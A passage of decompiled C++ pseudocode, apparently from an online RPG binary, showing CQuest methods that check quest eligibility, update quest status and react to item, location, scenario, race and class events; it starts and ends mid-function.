// ecx@4 int v9; // edi@7 signed int v10; // eax@8 void *v11; // eax@10 int v12; // ebx@14 bool v13; // cf@14 int bFailed; // [sp+0h] [bp-8h]@1 int i; // [sp+4h] [bp-4h]@1 v2 = this; v3 = pQuestPlayerRepeatData; v4 = 0; bFailed = 0; i = 0; if ( pQuestPlayerRepeatData->nNumOfRepeatQuest ) { while ( 1 ) { v5 = v2->m_NumOfQuestBF; v6 = (char *)&v3[1] + 32 * v4; if ( v5 ) { v7 = 0; if ( v2->m_NumOfQuest > 0 ) { v8 = v2->m_pQuestArray; while ( v8->ID != *(_WORD *)v6 ) { ++v7; ++v8; if ( v7 >= v2->m_NumOfQuest ) goto LABEL_7; } if ( v7 != -1 ) { v11 = &v2->m_pQuestArray[v7]; if ( v11 ) break; } } } LABEL_7: v9 = v2->m_NumOfQuest; if ( v9 < v5 ) { memcpy(&v2->m_pQuestArray[v9], v6, sizeof(v2->m_pQuestArray[v9])); ++v2->m_NumOfQuest; goto LABEL_13; } v10 = 0; LABEL_14: v12 = v10 == 0 | bFailed; v3 = pQuestPlayerRepeatData; v4 = i + 1; v13 = (unsigned __int16)(i + 1) < pQuestPlayerRepeatData->nNumOfRepeatQuest; bFailed = v12; ++i; if ( !v13 ) return bFailed == 0; } memcpy(v11, v6, 0x20u); LABEL_13: v10 = 1; goto LABEL_14; } return bFailed == 0; } //----- (005F26E0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel) { CQuest *v2; // esi@1 int v3; // eax@1 int v4; // ebp@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // eax@7 int result; // eax@10 int v9; // [sp+Ch] [bp-8h]@2 int bResult; // [sp+10h] [bp-4h]@1 v2 = this; v3 = this->m_NumOfQuest; v4 = 0; bResult = 0; if ( v3 <= 0 ) { result = 0; } else { v9 = 0; if ( v3 <= 0 ) goto LABEL_9; do { v5 = (int)&v2->m_pQuestArray[v9]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v5); if ( v6 ) { if ( v6->End.bLevel == 1 ) { v7 = v6->End.Level; if ( (unsigned __int8)v7 <= nPlayerLevel ) { bResult = 1; v2->vfptr->Occure_LevelChange(v2, *(_WORD *)v5, nPlayerLevel, v7); } } } } } LABEL_9: ++v4; ++v9; } while ( v4 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (005F2780) -------------------------------------------------------- int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange) { return QuestRange >= (unsigned int)(unsigned __int64)sqrt((double)(abs(CurrentY - QuestY) + abs(CurrentX - QuestY))); } //----- (005F27C0) -------------------------------------------------------- int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this) { int v1; // edi@1 int result; // eax@1 int v3; // esi@1 int v4; // ebx@2 PLAYER_QUEST_INFO *v5; // edx@3 char v6; // dl@4 v1 = this->m_NumOfQuest; result = 0; v3 = 0; if ( v1 > 0 ) { v4 = 0; if ( v1 <= 0 ) goto LABEL_7; do { v5 = &this->m_pQuestArray[v4]; if ( v5 ) { v6 = v5->Status; if ( (unsigned __int8)v6 >= 6u ) { if ( (unsigned __int8)v6 <= 8u ) ++result; } } LABEL_7: ++v3; ++v4; } while ( v3 < v1 ); } return result; } //----- (005F2800) -------------------------------------------------------- int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // edx@5 char *v5; // eax@5 result = (int)lpQuestData; if ( lpQuestData ) { if ( !lpQuestData->Start.bNPC || lpQuestData->Start.NPCID != nNPCID ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 && *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 8; if ( v4 >= 5 ) return 0; } } result = 1; } return result; } //----- (005F2860) -------------------------------------------------------- int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // ecx@2 char *v5; // eax@2 result = (int)lpQuestData; if ( lpQuestData ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 8; if ( v4 >= 5 ) return 0; } result = 1; } return result; } //----- (005F28A0) -------------------------------------------------------- unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData) { unsigned __int16 result; // ax@2 signed int v3; // ecx@3 char *v4; // eax@3 if ( lpQuestData ) { v3 = 0; v4 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v4 - 4) || *v4 ) { ++v3; v4 += 8; if ( v3 >= 5 ) return -1; } result = lpQuestData->End.NPCMobList[v3].NPCMobID; } else { result = -1; } return result; } //----- (005F28E0) -------------------------------------------------------- int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // ebp@1 unsigned __int8 v3; // al@2 PLAYER_QUEST_INFO *v4; // eax@10 char v5; // al@11 tm *v6; // esi@20 int v7; // eax@20 int result; // eax@23 __int16 nLocation; // [sp+1Ch] [bp-7Ch]@7 unsigned int LocationY; // [sp+20h] [bp-78h]@7 __int64 CurrentTime; // [sp+24h] [bp-74h]@7 char CurrentTM; // [sp+2Ch] [bp-6Ch]@20 int v13; // [sp+38h] [bp-60h]@27 int v14; // [sp+3Ch] [bp-5Ch]@24 int v15; // [sp+40h] [bp-58h]@21 char StartTM; // [sp+50h] [bp-48h]@20 int v17; // [sp+5Ch] [bp-3Ch]@27 int v18; // [sp+60h] [bp-38h]@24 int v19; // [sp+64h] [bp-34h]@21 char EndTM; // [sp+74h] [bp-24h]@20 int v21; // [sp+80h] [bp-18h]@28 int v22; // [sp+84h] [bp-14h]@25 int v23; // [sp+88h] [bp-10h]@22 v2 = this; if ( lpQuestData->Start.bLevel && ((v3 = ((int (*)(void))this->vfptr->GetQuestPlayerLevel)(), (unsigned __int8)(v3 + 5) < lpQuestData->Start.LevelMin) || v3 > lpQuestData->Start.LevelMax) || lpQuestData->Start.bItem && v2->vfptr->GetQuestPlayerItemLot(v2, lpQuestData->Start.ItemID) < lpQuestData->Start.ItemLot || lpQuestData->Start.bLocation && ((v2->vfptr->GetPlayerCurrentLocation( v2, (unsigned __int16 *)&nLocation, (unsigned int *)&CurrentTime, &LocationY), lpQuestData->Start.Location != nLocation) || !v2->vfptr->IsQuestArea( v2, CurrentTime, LocationY, lpQuestData->Start.LocationX, lpQuestData->Start.LocationY, lpQuestData->Start.LocationRange)) || lpQuestData->Start.bQuest && ((v4 = CQuest::GetQuestInfo(v2, lpQuestData->Start.QuestID)) == 0 || (v5 = v4->Status, v5 != 2) && v5 != 4) || lpQuestData->Start.bRace && lpQuestData->Start.Race != v2->vfptr->GetQuestPlayerRace(v2) || lpQuestData->Start.bClass && lpQuestData->Start.Class != v2->vfptr->GetQuestPlayerClass(v2) || lpQuestData->Start.bGender && lpQuestData->Start.Gender != v2->vfptr->GetQuestPlayerGender(v2) ) goto LABEL_29; if ( lpQuestData->Start.bDate ) { _time64(&CurrentTime); memcpy(&CurrentTM, _localtime64(&CurrentTime), 0x24u); memcpy(&StartTM, _localtime64(&lpQuestData->Start.DateStart), 0x24u); v6 = _localtime64(&lpQuestData->Start.DateEnd); v7 = lpQuestData->Start.DateMode; memcpy(&EndTM, v6, 0x24u); switch ( v7 ) { case 0: if ( v15 >= v19 && v15 <= v23 ) break; return 0; case 1: if ( v14 >= v18 && v14 <= v22 ) break; return 0; case 2: if ( v13 < v17 || v13 > v21 ) goto LABEL_29; break; case 3: if ( CurrentTime >= lpQuestData->Start.DateStart && (SHIDWORD(CurrentTime) < SHIDWORD(lpQuestData->Start.DateEnd) || SHIDWORD(CurrentTime) <= SHIDWORD(lpQuestData->Start.DateEnd) && (unsigned int)CurrentTime <= LODWORD(lpQuestData->Start.DateEnd)) ) break; goto LABEL_29; default: break; } } if ( lpQuestData->Type != 9 ) goto LABEL_39; if ( !v2->vfptr->IsQuestPlayerChaotic(v2) ) LABEL_29: result = 0; else LABEL_39: result = 1; return result; } //----- (005F2B10) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 unsigned __int8 v3; // al@3 v2 = this; return CQuest::IsSoonableQuest(this, lpQuestData) && (!lpQuestData->Start.bLevel || (v3 = v2->vfptr->GetQuestPlayerLevel(v2), v3 >= lpQuestData->Start.LevelMin) && v3 <= lpQuestData->Start.LevelMax); } //----- (005F2B50) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // edi@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // esi@1 char v6; // al@5 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); v4 = v3; return v3 && CQuest::IsSoonableQuest(v2, v3) && (!v4->Start.bLevel || (v6 = v2->vfptr->GetQuestPlayerLevel(v2), (unsigned __int8)v6 >= v4->Start.LevelMin) && (unsigned __int8)v6 <= v4->Start.LevelMax); } //----- (005F2BA0) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { CQuest *v2; // edi@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // ebx@1 int result; // eax@4 signed int v6; // esi@5 int v7; // eax@5 signed int v8; // ebp@11 int v9; // esi@11 __int16 nLocation; // [sp+18h] [bp-Ch]@17 unsigned int LocationY; // [sp+1Ch] [bp-8h]@17 unsigned int LocationX; // [sp+20h] [bp-4h]@17 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = v3; if ( v3 && (!v3->End.bLevel || (unsigned __int8)v2->vfptr->GetQuestPlayerLevel(v2) >= v3->End.Level) ) { v6 = 0; v7 = (int)&v4->End.NPCMobList[0].NPCMobAction; while ( !*(_BYTE *)(v7 - 4) || !*(_BYTE *)v7 || *(_BYTE *)v7 > 3u || (unsigned __int8)pQuestInfo->Data.End_NPCMobCount[v6] >= *(_BYTE *)(v7 + 1) ) { ++v6; v7 += 8; if ( v6 >= 5 ) { v8 = 0; v9 = (int)&v4->End.ItemList[0].ItemID; while ( !*(_BYTE *)(v9 - 2) || v2->vfptr->IsQuestPlayerItemLock(v2, *(_WORD *)v9) != 1 && v2->vfptr->GetQuestPlayerItemLot(v2, *(_WORD *)v9) >= *(_WORD *)(v9 + 2) ) { ++v8; v9 += 6; if ( v8 >= 5 ) { if ( !v4->End.bLocation || (v2->vfptr->GetPlayerCurrentLocation(v2, (unsigned __int16 *)&nLocation, &LocationX, &LocationY), v4->End.Location == nLocation) && v2->vfptr->IsQuestArea( v2, LocationX, LocationY, v4->End.LocationX, v4->End.LocationY, v4->End.LocationRange) ) { if ( (!v4->End.bScenario || pQuestInfo->Data._bf26 & 2) && (!v4->End.bRace || v4->End.Race == v2->vfptr->GetQuestPlayerRace(v2)) && (!v4->End.bClass || v4->End.Class == v2->vfptr->GetQuestPlayerClass(v2)) && (!v4->End.bTimeLimit || v4->End.TimeLimit > pQuestInfo->Data.End_RunningTimeSec) ) return 1; } goto LABEL_28; } } break; } } LABEL_28: result = 0; } else { result = 0; } return result; } //----- (005F2D30) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuest::GetQuestInfo(this, hQuestID); if ( result ) result = CQuest::IsRewardAbleQuest(v2, (PLAYER_QUEST_INFO *)result); return result; } //----- (005F2D60) -------------------------------------------------------- void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData) { CQuest *v2; // esi@1 v2 = this; this->vfptr = (CQuestVtbl *)&CQuest::_vftable_; this->m_pQuestData = pQuestData; this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); v2->m_NumOfQuestBF = 0; v2->m_pQuestArray = 0; v2->m_MaxOfQuestListWithNPC = 0; v2->m_NumOfQuestListWithNPC = 0; v2->m_pQuestListWithNPC = 0; v2->m_QuestStatusPriority[0] = 21; v2->m_QuestStatusPriority[1] = 21; v2->m_QuestStatusPriority[2] = 21; v2->m_QuestStatusPriority[3] = 21; v2->m_QuestStatusPriority[4] = 21; v2->m_QuestStatusPriority[5] = 21; v2->m_QuestStatusPriority[6] = 21; v2->m_QuestStatusPriority[7] = 21; v2->m_QuestStatusPriority[8] = 21; v2->m_QuestStatusPriority[9] = 21; v2->m_QuestStatusPriority[10] = 21; v2->m_QuestStatusPriority[11] = 21; v2->m_QuestStatusPriority[12] = 21; v2->m_QuestStatusPriority[13] = 21; v2->m_QuestStatusPriority[14] = 21; v2->m_QuestStatusPriority[15] = 21; v2->m_QuestStatusPriority[16] = 21; v2->m_QuestStatusPriority[17] = 21; v2->m_QuestStatusPriority[18] = 21; v2->m_QuestStatusPriority[19] = 21; v2->m_QuestStatusPriority[20] = 21; v2->m_QuestStatusPriority[0] = 22; v2->m_QuestStatusPriority[8] = 0; v2->m_QuestStatusPriority[6] = 2; v2->m_QuestStatusPriority[7] = 2; v2->m_QuestStatusPriority[5] = 1; v2->m_QuestStatusPriority[20] = 1; v2->m_QuestTypePriority[0] = 10; v2->m_QuestTypePriority[1] = 10; v2->m_QuestTypePriority[2] = 10; v2->m_QuestTypePriority[3] = 10; v2->m_QuestTypePriority[4] = 10; v2->m_QuestTypePriority[5] = 10; v2->m_QuestTypePriority[6] = 10; v2->m_QuestTypePriority[7] = 10; v2->m_QuestTypePriority[8] = 10; v2->m_QuestTypePriority[9] = 10; v2->m_QuestTypePriority[3] = 0; v2->m_QuestTypePriority[2] = 1; v2->m_QuestTypePriority[6] = 2; v2->m_QuestTypePriority[7] = 2; v2->m_QuestTypePriority[8] = 2; v2->m_QuestTypePriority[5] = 3; v2->m_QuestTypePriority[9] = 4; v2->m_QuestTypePriority[0] = 5; } // 689578: using guessed type int (__stdcall *CQuest___vftable_)(int itm); //----- (005F2E80) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); return CQuest::SetQuestDone(v2, v3); } //----- (005F2EA0) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 PLAYER_QUEST_INFO *v4; // ecx@1 PLAYER_QUEST_STATUS result; // eax@2 unsigned __int8 v6; // al@11 v2 = this; v3 = CQuest::GetQuestInfo(this, lpQuestData->ID); v4 = v3; if ( v3 ) { result = v3->Status; switch ( result ) { case 3: if ( !CQuest::IsDoingableQuest(v2, lpQuestData) ) goto LABEL_4; goto LABEL_13; default: return result; case 4: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 4 : 0; break; case 5: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 5 : 0; break; case 20: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 0x14 : 0; break; case 6: case 8: result = CQuest::IsRewardAbleQuest(v2, v4) != 0 ? 8 : 6; break; } } else { if ( !CQuest::IsSoonableQuest(v2, lpQuestData) || lpQuestData->Start.bLevel && ((v6 = v2->vfptr->GetQuestPlayerLevel(v2), v6 < lpQuestData->Start.LevelMin) || v6 > lpQuestData->Start.LevelMax) ) LABEL_4: result = CQuest::IsSoonableQuest(v2, lpQuestData) != 0 ? 3 : 0; else LABEL_13: result = 5; } return result; } //----- (005F2FC0) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_STATUS result; // eax@1 v2 = this; result = (PLAYER_QUEST_STATUS)CQuestData::GetQuestData(this->m_pQuestData, nID); if ( result ) result = CQuest::GetNewQuestStatus(v2, (QUEST_DATA *)result); return result; } //----- (005F2FF0) -------------------------------------------------------- int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 QUEST_DATA *v3; // eax@1 PLAYER_QUEST_STATUS v4; // eax@2 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); return v3 && ((v4 = CQuest::GetNewQuestStatus(v2, v3), v4 == 6) || v4 == 7 || v4 == 8); } //----- (005F3030) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // edi@2 PLAYER_QUEST_STATUS result; // eax@3 QUEST_DATA *v5; // eax@4 v2 = this; if ( nIndex < this->m_NumOfQuest && (v3 = &this->m_pQuestArray[nIndex]) != 0 ) { v5 = CQuestData::GetQuestData(this->m_pQuestData, v3->ID); if ( v5 ) { LOBYTE(result) = CQuest::GetNewQuestStatus(v2, v5); v3->Status = result; result = (unsigned __int8)result; } else { v3->Status = 0; result = 0; } } else { result = 0; } return result; } //----- (005F3080) -------------------------------------------------------- int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData, unsigned int uiMainCharLv, bool bQmark, bool bLowRepeat) { CQuest::NPC_QUEST_STATUS *v6; // ebx@1 int v7; // eax@1 CQuest *v8; // edi@1 int result; // eax@1 PLAYER_QUEST_STATUS v10; // eax@2 signed int v11; // ebp@2 unsigned __int16 v12; // bp@22 signed int kQuestStatusa; // [sp+10h] [bp+4h]@2 v6 = kQuestStatus; v7 = kQuestStatus->hID; v8 = this; kQuestStatus->eResultState = 0; kQuestStatus->lpQuestData = lpQuestData; result = CQuest::IsQuestNPCMob(this, lpQuestData, v7); if ( result ) { v10 = CQuest::GetNewQuestStatus(v8, lpQuestData); v11 = v10; kQuestStatusa = v10; if ( (unsigned int)v10 <= 0x14 ) { switch ( byte_5F3204[v10] ) { case 0: return 0; case 1: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v6->hID ) break; return 0; case 2: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v6->hID ) break; return 0; case 3: if ( CQuest::IsConversationNPCMob(v8, lpQuestData, v6->hID) || lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v6->hID ) break; return 0; case 4: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v6->hID ) break; return 0; case 5: v12 = v6->hID; if ( v6->hID == CQuest::GetRewardNPC(v8, lpQuestData) ) goto LABEL_27; if ( !lpQuestData || !lpQuestData->Start.bNPC || lpQuestData->Start.NPCID != v12 ) return 0; kQuestStatusa = 6; LABEL_27: v11 = kQuestStatusa; break; case 6: break; } } if ( bQmark == 1 && (v11 == 5 || v11 == 20) ) { if ( (unsigned int)lpQuestData->Start.LevelMin + 5 < uiMainCharLv ) v11 = 9; } v6->eResultState = v11; v6->nLevel = lpQuestData->Start.LevelMin; result = v11 != 0; } return result; } //----- (005F3360) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // ebx@6 signed int v8; // ebp@9 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int result; // eax@18 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@5 signed int v15; // [sp+24h] [bp-8h]@6 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_TakeItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot <= v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v3->vfptr->Occure_NewStatusReward(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (005F3480) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@4 int v7; // ebx@5 signed int v8; // ebp@8 int v9; // ebp@9 PLAYER_QUEST_STATUS v10; // eax@9 int result; // eax@17 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@4 signed int v15; // [sp+24h] [bp-8h]@5 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v5 = (int)&v3->m_pQuestArray[v13]; if ( v5 ) { v6 = CQuestData::GetQuestData(v3->m_pQuestData, *(_WORD *)v5); pQuestData = v6; if ( v6 ) { v7 = (int)&v6->End.ItemList[0].ItemID; v15 = 5; do { if ( *(_BYTE *)(v7 - 2) == 1 ) { if ( *(_WORD *)v7 == nItemID ) { v8 = *(_WORD *)(v7 + 2); v3->vfptr->Occure_DestroyItem(v3, *(_WORD *)v5, nItemID, nCurrentLot, *(_WORD *)(v7 + 2)); if ( nCurrentLot < v8 ) { v9 = *(_BYTE *)(v5 + 2); bResult = 1; v10 = CQuest::DoingQuestUpdateStatus(v3, i); if ( v9 == 8 ) { if ( v10 == 6 ) { v3->vfptr->Occure_NewStatusIng(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } else { if ( v10 == 7 ) v3->vfptr->Occure_NewStatusFailed(v3, (PLAYER_QUEST_INFO *)v5, pQuestData); } } } } } v7 += 6; --v15; } while ( v15 ); v4 = i; } } ++v4; i = v4; ++v13; } while ( v4 < v3->m_NumOfQuest ); result = bResult; } return result; } //----- (005F35A0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this) { CQuest *v1; // esi@1 CQuestVtbl *v2; // eax@1 int v3; // eax@1 int v4; // edi@3 QUEST_DATA *v5; // eax@5 QUEST_DATA *v6; // ebx@5 int v7; // ecx@10 CQuestVtbl *v8; // edx@10 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int v11; // eax@15 bool v12; // sf@15 unsigned __int8 v13; // of@15 int result; // eax@16 int i; // [sp+30h] [bp-18h]@1 int v16; // [sp+34h] [bp-14h]@2 __int16 nLocation; // [sp+38h] [bp-10h]@1 int bResult; // [sp+3Ch] [bp-Ch]@1 unsigned int LocationY; // [sp+40h] [bp-8h]@1 unsigned int LocationX; // [sp+44h] [bp-4h]@1 v1 = this; v2 = this->vfptr; bResult = 0; ((void (__stdcall *)(__int16 *, unsigned int *, unsigned int *))v2->GetPlayerCurrentLocation)( &nLocation, &LocationX, &LocationY); v3 = v1->m_NumOfQuest; i = 0; if ( v3 <= 0 ) { result = 0; } else { v16 = 0; if ( v3 <= 0 ) goto LABEL_15; do { v4 = (int)&v1->m_pQuestArray[v16]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v4); v6 = v5; if ( v5 ) { if ( v5->End.bLocation == 1 ) { if ( v5->End.Location == nLocation ) { if ( !(*(_BYTE *)(v4 + 29) & 1) ) { if ( v1->vfptr->IsQuestArea( v1, LocationX, LocationY, v5->End.LocationX, v5->End.LocationY, v5->End.LocationRange) ) { v7 = *(_WORD *)v4; *(_BYTE *)(v4 + 29) |= 1u; v8 = v1->vfptr; bResult = 1; v8->Occure_CheckLocation(v1, v7, *(_DWORD *)&nLocation); v9 = *(_BYTE *)(v4 + 2); v10 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v9 == 6 ) { if ( v10 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v4, v6); } else { if ( v10 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v4, v6); } } } } } } } } } LABEL_15: v11 = v1->m_NumOfQuest; v13 = __OFSUB__(i + 1, v11); v12 = i++ + 1 - v11 < 0; ++v16; } while ( v12 ^ v13 ); result = bResult; } return result; } //----- (005F36F0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID) { CQuest *v2; // edi@1 int v3; // ebx@1 int v4; // esi@3 QUEST_DATA *v5; // eax@5 char v6; // al@8 int v7; // ebp@9 PLAYER_QUEST_STATUS v8; // eax@9 int result; // eax@15 int v10; // [sp+10h] [bp-Ch]@2 QUEST_DATA *pQuestData; // [sp+14h] [bp-8h]@5 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; v3 = 0; bResult = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v10 = 0; do { v4 = (int)&v2->m_pQuestArray[v10]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v4); pQuestData = v5; if ( v5 ) { if ( v5->End.bScenario == 1 ) { if ( v5->End.ScenarioID == nScenarioID ) { v6 = *(_BYTE *)(v4 + 29); if ( !(v6 & 2) ) { *(_BYTE *)(v4 + 29) = v6 | 2; bResult = 1; v2->vfptr->Occure_ScenarioDone(v2, *(_WORD *)v4, nScenarioID); v7 = *(_BYTE *)(v4 + 2); v8 = CQuest::DoingQuestUpdateStatus(v2, v3); if ( v7 == 6 ) { if ( v8 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } else { if ( v8 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } } } } } } } } ++v3; ++v10; } while ( v3 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (005F37E0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bRace == 1 ) { if ( v4->End.Race == nRace ) { bResult = 1; v2->vfptr->Occure_RaceChange(v2, *(_WORD *)v3, nRace); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (005F38C0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass) { CQuest *v2; // esi@1 int v3; // edi@3 QUEST_DATA *v4; // eax@5 QUEST_DATA *v5; // ebx@5 int v6; // ebp@8 PLAYER_QUEST_STATUS v7; // eax@8 int v8; // eax@13 bool v9; // sf@13 unsigned __int8 v10; // of@13 int result; // eax@14 int i; // [sp+10h] [bp-Ch]@1 int v13; // [sp+14h] [bp-8h]@2 int bResult; // [sp+18h] [bp-4h]@1 v2 = this; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v13 = 0; do { v3 = (int)&v2->m_pQuestArray[v13]; if ( v3 ) { if ( *(_BYTE *)(v3 + 2) == 6 ) { v4 = CQuestData::GetQuestData(v2->m_pQuestData, 